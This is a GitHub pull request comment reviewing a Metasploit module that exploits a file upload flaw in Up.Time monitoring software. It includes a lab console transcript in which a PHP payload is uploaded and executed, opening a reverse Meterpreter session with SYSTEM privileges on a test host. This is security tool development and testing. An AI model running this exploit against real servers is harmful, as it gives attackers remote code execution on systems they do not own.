Review uptime_file_upload

Hi @denandz,

This pull request tries to clean https://github.com/rapid7/metasploit-framework/pull/2723. I've tested the module on Uptime 7.0 on Windows 2003 so I guess it fits better on the "multi" platform since it's going to work on both linux and windows platforms :). 

Feel free to review the changes and discuss any point! Once you feel comfortable with it land into your repo and https://github.com/rapid7/metasploit-framework/pull/2723 will be automatically updated and ready to go. Please, have into account which I've tested on UP.time 7.0 (not 7.2), I guess any change has broken something to exploit 7.2, but review is super welcome :)

Again, thanks for your collaboration!

Test:

```
msf > use exploit/multi/http/uptime_file_upload 
msf exploit(uptime_file_upload) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(uptime_file_upload) > check
[*] The target appears to be vulnerable.
msf exploit(uptime_file_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.133:9999 - Uploading PHP to Up.Time server
[*] 192.168.172.133:9999 - Uploading payload LZEXP.php
[*] 192.168.172.133:9999 - Executing payload LZEXP.php
[*] Sending stage (39848 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:1231) at 2013-12-06 15:58:27 -0600


^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
eComputer    : JUAN-6ED9DB6CA8
OS          : Windows NT JUAN-6ED9DB6CA8 5.2 build 3790 (Windows Server 2003 Standard Edition Service Pack 2) i586
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(uptime_file_upload) > 
```